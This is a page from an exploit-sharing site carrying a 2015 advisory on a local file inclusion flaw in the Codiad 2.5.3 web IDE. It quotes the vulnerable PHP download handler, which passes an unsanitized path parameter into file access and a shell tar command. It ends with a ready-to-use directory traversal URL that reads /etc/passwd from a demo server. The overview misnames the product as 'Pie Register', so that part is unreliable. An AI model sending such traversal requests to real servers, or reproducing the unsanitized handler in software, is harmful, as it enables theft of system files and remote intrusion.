0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Codiad 2.5.3 - LFI Vulnerability
[+]Title: Codiad v2.5.3 - LFI Vulnerability [+]Author: TUNISIAN CYBER [+]Date: 12/03/2015 [+]Type:WebApp [+]Risk:High [+]Overview: Pie Register 2.x suffers, from a Local File Disclosure vulnerability. [+]Proof Of Concept: [PHP] ////////////////////////////////////////////////////////////////// // Run Download ////////////////////////////////////////////////////////////////// if(isset($_GET['type']) && ($_GET['type']=='directory' || $_GET['type']=='root')){ // Create tarball $filename = explode("/",$_GET['path']); //$filename = array_pop($filename) . "-" . date('Y.m.d') . ".tar.gz"; $filename = array_pop($filename) . "-" . date('Y.m.d'); $targetPath = DATA . '/'; $dir = WORKSPACE . '/' . $_GET['path']; if(!is_dir($dir)){ exit('<script>parent.codiad.message.error("Directory not found.")</script>'); } ////////////////////////////////////////////////////////////////// // Check system() command and a non windows OS ////////////////////////////////////////////////////////////////// if(isAvailable('system') && stripos(PHP_OS, 'win') === false){ # Execute the tar command and save file $filename .= '.tar.gz'; system("tar -pczf ".$targetPath.$filename." -C ".WORKSPACE." ".$_GET['path']); $download_file = $targetPath.$filename; }elseif(extension_loaded('zip')){ //Check if zip-Extension is availiable //build zipfile require_once 'class.dirzip.php'; $filename .= '.zip'; $download_file = $targetPath.$filename; DirZip::zipDir($dir, $targetPath .$filename); }else{ exit('<script>parent.codiad.message.error("Could not pack the folder, zip-extension missing")</script>'); } }else{ $filename = explode("/",$_GET['path']); $filename = array_pop($filename); $download_file = WORKSPACE . '/' . $_GET['path']; } [PHP] http://demo.codiad.com/i/197156553/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined # 0day.today [2024-07-02] #